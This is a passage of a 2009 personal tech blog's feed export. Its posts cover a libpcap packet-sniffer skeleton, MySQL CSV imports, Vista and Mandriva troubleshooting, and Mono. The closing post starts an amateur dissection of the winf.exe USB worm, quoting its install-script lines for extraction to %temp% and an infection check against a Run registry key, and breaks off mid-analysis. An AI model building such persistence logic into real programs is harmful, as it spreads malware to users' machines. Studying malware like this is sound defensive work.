mceItemNoResize" mce_src="http://vasudevkamath.techfiz.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" src="http://vasudevkamath.techfiz.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" title="More..." /&gt;&lt;/div&gt;&lt;pre name="code" class="c"&gt;#include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;int main(int argc,char **argv)&lt;br /&gt;{&lt;br /&gt;   pcap_t *handle;&lt;br /&gt;   char *dev,errbuf[PCAP_ERRBUF_SIZE];&lt;br /&gt;   u_char *packet;&lt;br /&gt;   struct pcap_pkthdr hdr;&lt;br /&gt;   dev = pcap_lookupdev(errbuf);&lt;br /&gt;   if(dev == NULL){&lt;br /&gt;     fprintf(stderr,"pcap_looupdev(): %s\n",errbuf);&lt;br /&gt;     exit(1);&lt;br /&gt;   }&lt;br /&gt;   handle = pcap_open_live(dev,BUFSIZ,0,0,null);&lt;br /&gt;   if(handle == NULL) {&lt;br /&gt;     fprintf(stderr,"Failed to open %s\n",dev);&lt;br /&gt;     exit(1);&lt;br /&gt;   }&lt;br /&gt;   while(1){&lt;br /&gt;     packet = pcap_next(handle,&amp;amp;hdr);&lt;br /&gt;     /* ...&lt;br /&gt;      * Process the captured packet here&lt;br /&gt;      */&lt;br /&gt;   }&lt;br /&gt;}&lt;/pre&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Here the &lt;b&gt;pcap_t&lt;/b&gt; is integer data type (similar) which holds the handle for the opened network interface. The structure &lt;b&gt;pcap_pkthdr&lt;/b&gt; is defined as follows( man page of pcap.h)&lt;br /&gt;&lt;pre name="code" class="c"&gt;struct pcap_pkthdr {&lt;br /&gt;   struct timeval ts; /* time stamp */&lt;br /&gt;   bpf_u_int32 caplen; /* length of portion present */&lt;br /&gt;   bpf_u_int32 len; /* length this packet (off wire) */&lt;br /&gt;};&lt;/pre&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Well in my project I used only the time stamp field in this structure. Function &lt;b&gt;pcap_lookupdev&lt;/b&gt; looks for the default interface of your system, so you don't have to worry about specifying interface to the program. If the function encounters error the error message is copied into the errbuf field. This function returs string i.e name of the interface in linux system default interface will be &lt;b&gt;eth0&lt;/b&gt;.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;The function &lt;b&gt;pcap_open_live&lt;/b&gt; opens the specified device for reading (capturing the packet) it returns handle to the device which will be used later to capture the packet from the interface. Prototype is as follows (pcap.h man page)&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" mce_style="color: #000000;font-family: 'times new roman';font-size: 16px;font-style: normal;font-variant: normal;font-weight: normal" style="color: black; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal;"&gt;&lt;br /&gt;&lt;pre name="code" class="c"&gt;pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms,char *ebuf)&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Once this much is done you need to enter&amp;nbsp; into infinite loop and use function &lt;b&gt;pcap_next &lt;/b&gt;to capture packet. This function returns pointer to the captured packet, return type is u_char*. The prototype of function is as follows&lt;br /&gt;&lt;code&gt; u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)&lt;/code&gt; &lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Once you have captured the packet next is to extract information from it. I'll explain in my next post about the extraction of protocol related fields from the packet. Till then bye and have a nice day :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6950405551065104901?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/03/packet-sniffer-using-pcap-utility.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6950405551065104901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6950405551065104901'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/03/packet-sniffer-using-pcap-utility.html' title='Packet sniffer using pcap utility'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-9217001390136422408</id><published>2009-03-07T05:03:00.001-08:00</published><updated>2009-12-26T23:22:09.519-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='CSV'/><title type='text'>Importing a CSV Files into MySQL</title><content type='html'>&lt;div style="text-align: justify;"&gt;CSV stands for Coma separated Values. Normally in this file each field is separated from other using ",". Well as part of my project I created a sniffer which will be sitting on the gateway and captures all packet coming and going to and from it. I needed to record all the traffic which I capture. Bestway is to dump it into a log file. First I thought of using space as delimeter but our sir told its better to use CSV instead so I seperated each fields using coma's. As per the requirement of the project I needed to create different forms of graphs. First I thought of creating graphs statically at the end of each day by using the Crontab facility. But our sir wanted us to make this graph generation dynamically. Well using flat file which grows very fast really gave us a head ache. But I read in some site that I can easily import the CVS files into any application. I stumbled uppon the PHPMyAdmins import facility which supports importing data from CSV File. I got the query from PHPMyAdmin to do the job.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Let me tell how to import your log files into database.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Create a table with number of fields equal to number of fields in your fail.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Use the LOAD DATA command to get files content into table. Below is the syntax of the command&lt;/div&gt;&lt;br /&gt;&lt;pre name="cde" class="sql"&gt;LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'&lt;br /&gt;    [REPLACE | IGNORE]&lt;br /&gt;    INTO TABLE tbl_name&lt;br /&gt;    [CHARACTER SET charset_name]&lt;br /&gt;    [{FIELDS | COLUMNS}&lt;br /&gt;        [TERMINATED BY 'string']&lt;br /&gt;        [[OPTIONALLY] ENCLOSED BY 'char']&lt;br /&gt;        [ESCAPED BY 'char']&lt;br /&gt;    ]&lt;br /&gt;    [LINES&lt;br /&gt;        [STARTING BY 'string']&lt;br /&gt;        [TERMINATED BY 'string']&lt;br /&gt;    ]&lt;br /&gt;    [IGNORE number LINES]&lt;br /&gt;    [(col_name_or_user_var,...)]&lt;br /&gt;    [SET  = expr,...]&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;For example my log file consisted of 8 fields. Format is shown below&lt;/div&gt;&lt;blockquote&gt;timestamp,eth_src,ip_src,src_port,eth_dest,ip_dest,dest_port,protocol&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;I created table to consist these 10 fields with time stamp as primary key and used &lt;b&gt;load data&lt;/b&gt; command as follows&lt;/div&gt;&lt;pre name="code" class="sql"&gt;LOAD DATA LOCAL INFILE '/var/log/sniffer.log' IGNORE INTO TABLE `sniffer`&lt;br /&gt;FIELDS TERMINATED BY ','&lt;br /&gt;ESCAPED BY '\\'&lt;br /&gt;LINES TERMINATED BY '\n'&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;In your log file delimeter can be any charachter you want, you just need to specify it as &lt;b&gt;FIELDS TERMINATED BY ','&lt;/b&gt;. Similarly you can specify the line terminator also.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For more information about this command refer this &lt;a href="http://dev.mysql.com/doc/refman/5.1/en/load-data.html"&gt;link&lt;/a&gt;. Also don't forget to try out &lt;a href="http://www.phpmyadmin.net/"&gt;PHPMyAdmin&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-9217001390136422408?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/03/importing-csv-files-into-mysql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9217001390136422408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9217001390136422408'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/03/importing-csv-files-into-mysql.html' title='Importing a CSV Files into MySQL'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1052532415970485188</id><published>2009-02-22T05:08:00.000-08:00</published><updated>2009-02-22T22:03:46.328-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MS'/><title type='text'>Windows Vista – Explorer Restarting ????</title><content type='html'>&lt;div class="wlWriterEditableSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:a9d45784-2913-4b8e-a612-31ac47147cf1" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Vista+problem" rel="tag"&gt;Vista problem&lt;/a&gt;&lt;/div&gt;  &lt;p&gt;&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;p&gt;&lt;/p&gt;    &lt;p&gt;Well this is new problem I found in my friends laptop. He is running Vista in his HP Pavilion laptop. When he starts his system windows error reporting facility pops up a message saying “Windows Explorer has stopped working” and gives a option to restart explorer. But even after restarting same message pops up again and this continues indefinitely. Well if only message pops up there will not be in a problem but when message pops up entire desktop stops working only way to access the system is through task manager there also for each click on folder to work I need to close error message box. I tried searching solution for this problem in Google. Look at the first page in Google search I got not even single entry about this problem by Microsoft !!, all entries are from some forums &lt;a href="http://www.google.co.in/search?rlz=1C1GGLS_enIN300IN305&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=Windows+explorer+has+stopped+working+%2B+Vista" target="_blank"&gt;Click here&lt;/a&gt;. The problem mentioned in the forum was similar to what I’m currently facing but their solution didn’t work for me. I tried using one tip suggested by &lt;a href="http://platonic.techfiz.info" target="_blank"&gt;techfiz&lt;/a&gt; i.e. to start Windows in safe mode and disable all&amp;#160; start up service and then scanning the system. Well it also went in vain.&amp;#160; Now backed up data in the system into my external hard disk and re installed entire system.&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;div align="justify"&gt;     &lt;p&gt;I don’t understand why Vista is so vulnerable to software. My another friend when installed Alcohol a virtual drive software his system started restarting indefinitely and final option we used was demolishing Vista and installing XP. MS should have at least tested Vista before sending it to market. Well I hope Windows 7 doesn’t follow the same path as Vista.&amp;#160; &lt;/p&gt;   &lt;/div&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&amp;#160;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt; &lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1052532415970485188?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/02/windows-vista-explorer-restarting.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1052532415970485188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1052532415970485188'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/02/windows-vista-explorer-restarting.html' title='Windows Vista – Explorer Restarting ????'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5296790701774257405</id><published>2009-02-14T07:41:00.000-08:00</published><updated>2009-02-14T07:41:52.723-08:00</updated><title type='text'>MySQL problem in Mandriva 2009 Solved</title><content type='html'>&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;I had mentioned in my &lt;a href="http://vasudevkamath.techfiz.com/2009/01/06/mysql-failing-to-start-in-mandriva-2009/"&gt;techfiz blog&lt;/a&gt;&amp;nbsp; about MySQL server failing to get started in the Mandriva 2009. When you try to start &lt;span style="color: #339966;"&gt;mysqld&lt;/span&gt; you may get this error.&lt;/div&gt;&lt;blockquote&gt;ERROR: hostname cannot be localhost, mysql_install_db is quite unstable&lt;br /&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;The link in the error message leads to Mandriva forum which tells to uninstall and then re-install it with MySQL package of Mandriva 2008. But this didn't solve the problem for me. Actually solution is simple. As you can see in the error message it tells that host name can't be localhost. So I tried changin the host name and it actually worked !!. Try following commands.&lt;/div&gt;&lt;blockquote&gt;[root@localhost vasudev]# hostname vasudev&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;This command changes hostname to my name instead of localhost. Now try starting mysqld and you will get some warning message which is shown below&lt;/div&gt;&lt;blockquote&gt;[root@localhost vasudev]# /etc/init.d/mysqld start&lt;br /&gt;Initializing MySQL database:&lt;br /&gt;WARNING: The host 'vasudev' could not be looked up with resolveip.&lt;br /&gt;This probably means that your libc libraries are not 100 % compatible&lt;br /&gt;with this binary MySQL version. The MySQL daemon, mysqld, should work&lt;br /&gt;normally with the exception that host name resolving will not work.&lt;br /&gt;This means that you should use IP addresses instead of hostnames&lt;br /&gt;when specifying MySQL privileges !&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;This is just because daemon is not able to find your new host name in &lt;span style="color: green;"&gt;/etc/hosts&lt;/span&gt; file, Just chage the localhost in /etc/hosts file to your new host name and restart the mysqld and your problem is solved. Once you change the /etc/hosts file it should look similar to this.&lt;/div&gt;&lt;blockquote&gt;&lt;span style="color: #339966;"&gt;127.0.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; vasudev&lt;/span&gt;&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;I hope this will solve the problem for all of you :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5296790701774257405?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/02/mysql-problem-in-mandriva-2009-solved.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5296790701774257405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5296790701774257405'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/02/mysql-problem-in-mandriva-2009-solved.html' title='MySQL problem in Mandriva 2009 Solved'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5398607239206034269</id><published>2009-01-20T03:24:00.001-08:00</published><updated>2009-01-20T03:31:28.726-08:00</updated><title type='text'>Microsoft Office Live</title><content type='html'>&lt;div align="justify"&gt;&lt;div align="justify"&gt;We know about Google docs now the MS has also entered the same field by starting &lt;a href="http://workspace.office.live.com/" target="_blank"&gt;Office Live.&lt;/a&gt; I came across this when I installed Windows Live writer. Windows Live software suit consists of Office Live Add-in. When you click on it you will be taken to website &lt;a href="http://workspace.office.live.com./" title="http://workspace.office.live.com"&gt;http://workspace.office.live.com.&lt;/a&gt; You need to login with your Live ID. Well there is a big difference between Google Docs and Office Live &lt;/div&gt;&lt;/div&gt;&lt;div align="justify"&gt;Google Docs allows you to create docs online and also allows offline access to the documents using Google Gears. Well story in Office Live is different when you click on new word it Launches Word in your PC !!!! Well my system has 512MB RAM and System got hung and I had to press reset button. Their site it takes lot of time to load in slow internet with all flashy things. Huh what else can I expect . (Well its my fault that I’ve less RAM :) ).&lt;br /&gt;&lt;div align="justify"&gt;You can also access it from you Office software. See image below.&lt;/div&gt;&lt;a href="http://lh6.ggpht.com/_Pms4ehFPMfI/SXW0OW0XIdI/AAAAAAAAAgk/NjY5EwmdFeI/s1600-h/untitled%5B8%5D.jpg"&gt;&lt;img alt="untitled" border="0" height="297" src="http://lh3.ggpht.com/_Pms4ehFPMfI/SXW0TGM1C7I/AAAAAAAAAgo/1BB7icFIMUI/untitled_thumb%5B6%5D.jpg?imgmax=800" style="border: 0px none; display: inline;" title="untitled" width="269" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;div align="justify"&gt;Well this is a good news for all those who want to do their work in MS Office. Hope the beta label will be removed soon….&lt;/div&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5398607239206034269?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/microsoft-office-live.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5398607239206034269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5398607239206034269'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/microsoft-office-live.html' title='Microsoft Office Live'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_Pms4ehFPMfI/SXW0TGM1C7I/AAAAAAAAAgo/1BB7icFIMUI/s72-c/untitled_thumb%5B6%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6464263125232256184</id><published>2009-01-11T06:59:00.000-08:00</published><updated>2009-01-11T08:38:52.346-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.NET for Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='mono'/><title type='text'>mono - A .NET frame work for Linux (Cross Platform)</title><content type='html'>&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s1600-h/mono-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s320/mono-logo.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;Mono is a Cross platform .NET framework development project lead by &lt;a href="http://www.novell.com/" mce_href="http://www.novell.com/" target="_blank" title="Novell"&gt;Novell&lt;/a&gt;. Its main aim is to create a .NET comaptible set of tools that can be run on Linux, BSD, UNIX, Mac OS, Solaris and Windows operating system !. Its licensed under &lt;a href="http://www.gnu.org/copyleft/gpl.html" mce_href="http://www.gnu.org/copyleft/gpl.html" target="_self" title="GPL"&gt;GPL&lt;/a&gt;, &lt;a href="http://www.gnu.org/licenses/lgpl.html" mce_href="http://www.gnu.org/licenses/lgpl.html" target="_blank" title="LGPL"&gt;LGPL&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/MIT_License" mce_href="http://en.wikipedia.org/wiki/MIT_License" target="_blank" title="MIT"&gt;MIT&lt;/a&gt;. First version of Mono was released in 2004 and current release is mono 2.0. Current release provides the core API's of .NET framework and Visual Basic .NET and C# version 2.0. It also supports Java, &lt;a href="http://boo.codehaus.org/Home" mce_href="http://boo.codehaus.org/Home" target="_blank" title="Boo"&gt;Boo&lt;/a&gt;, Python, Javascript, PHP etc.&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;Mono consists of 3 groups of components&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Core components&lt;/li&gt;&lt;li&gt;Mono/Linux/GNOME development stack&lt;/li&gt;&lt;li&gt;Microsoft compatibility stack&lt;/li&gt;&lt;/ol&gt;&lt;div mce_style="text-align: center;" style="text-align: center;"&gt;&lt;b&gt;Frame work architecture of Mono&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s1600-h/400px-Mono_architecture.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s320/400px-Mono_architecture.svg.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div mce_style="text-align: center;" style="text-align: center;"&gt;&lt;/div&gt;&lt;div mce_style="text-align: center;" style="text-align: center;"&gt;&lt;b&gt;Mono and Microsoft'w patent issue&lt;/b&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;&lt;span style="border-collapse: separate; color: black; font-family: -webkit-sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;On November 2, 2006, Microsoft and Novell announced a joint agreement whereby Microsoft agreed to not sue Novell’s customers for patent infringement.&lt;sup class="reference" id="cite_ref-9" mce_style="line-height: 1em;" style="line-height: 1em;"&gt;[10]&lt;/sup&gt; According to Mono project leader Miguel de Icaza,&lt;sup class="reference" id="cite_ref-10" mce_style="line-height: 1em;" style="line-height: 1em;"&gt;[11]&lt;/sup&gt; this agreement extends to Mono but only for Novell developers and customers. It was criticized by some members of the &lt;a href="http://en.wikipedia.org/wiki/Free_software_community" mce_href="/wiki/Free_software_community" mce_style="text-decoration: none; color: #002bb8; background-image: none;" style="background-image: none; color: #002bb8; text-decoration: none;" title="Free software community"&gt;free software community&lt;/a&gt; because it violates the principles of giving equal rights to all users of a particular program (see &lt;a href="http://en.wikipedia.org/wiki/Novell#Agreement_with_Microsoft" mce_href="/wiki/Novell#Agreement_with_Microsoft" mce_style="text-decoration: none; color: #002bb8; background-image: none;" style="background-image: none; color: #002bb8; text-decoration: none;" title="Novell"&gt;Novell and their Patent Agreement with Microsoft&lt;/a&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;&lt;span style="border-collapse: separate; color: black; font-family: -webkit-sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: left;"&gt;Currently &lt;a href="http://en.wikipedia.org/wiki/GNOME"&gt;GNOME &lt;/a&gt;is using mono packages and some of the application for GNOME like Banshi, Beagle desktop search, F-spot are developed using Mono API.&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;Mono is also providing MonoDevelop a free C# and ASP .NET IDE. You can download it and other Mono packages for your system from Mono's project website here is the link &lt;a href="http://www.mono-project.com/Main_Page" mce_href="http://www.mono-project.com/Main_Page" target="_blank" title="http://www.mono-project.com/Main_Page"&gt;http://www.mono-project.com/Main_Page&lt;/a&gt;.&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;Overall I can say Microsoft's propereitary .NET framework which is developed only for Windows XP can now be migrated to all the platforms due to the efforts of Open source community. ;) (You can get full explanation of Framework architecture of Mono in Wikipedia and Mono project Website).&lt;/div&gt;&lt;b&gt;Source:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Mono_%28software%29" mce_href="http://en.wikipedia.org/wiki/Mono_(software)" title="Wikepedia"&gt;Wikepedia&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mono-project.com/Main_Page" mce_href="http://www.mono-project.com/Main_Page" title="Mono"&gt;Mono project website&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6464263125232256184?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/mono-net-frame-work-for-linux-cross.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6464263125232256184'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6464263125232256184'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/mono-net-frame-work-for-linux-cross.html' title='mono - A .NET frame work for Linux (Cross Platform)'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s72-c/mono-logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6427366701036357420</id><published>2009-01-07T07:46:00.000-08:00</published><updated>2009-01-07T10:18:28.416-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='winf.exe'/><title type='text'>winf.exe Disected</title><content type='html'>&lt;div style="text-align: justify;"&gt;Well folks I got my hand on worm winf.exe from my friends pen drive even thought I couldn't get much because of Avast has deleted harmful viruses. But I could save following files.&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;1. install.txt&lt;/blockquote&gt;&lt;blockquote&gt;2. pathlist.txt&lt;/blockquote&gt;&lt;blockquote&gt;3.drivelist.txt&lt;/blockquote&gt;&lt;blockquote&gt;4. thb.ico (which appears as drive icon)&lt;/blockquote&gt;&lt;blockquote&gt;5. DLL.ico (which is used to mask the programs as DLL file in system folders)&lt;/blockquote&gt;&lt;blockquote&gt;6. Icon.ico (used to hide winf.exe)&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&amp;nbsp;If you want to see these files just rename winf.exe file to winf.rar and extract files. Well when I went through the files I got a rough idea of its working which I'm going to explain here.&lt;/div&gt;&lt;br /&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;The sfx should be created with the extracting path as %temp% &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;and the program to run after extract is , winf.exe install.txt *&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;These lines tell that the install.txt is a input to file wiinf.exe. Next program is supposed to read following entry in registry&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;If its already infected progrma simply exits. The following lines are used for this.&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Regread,regvalue,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status&lt;br 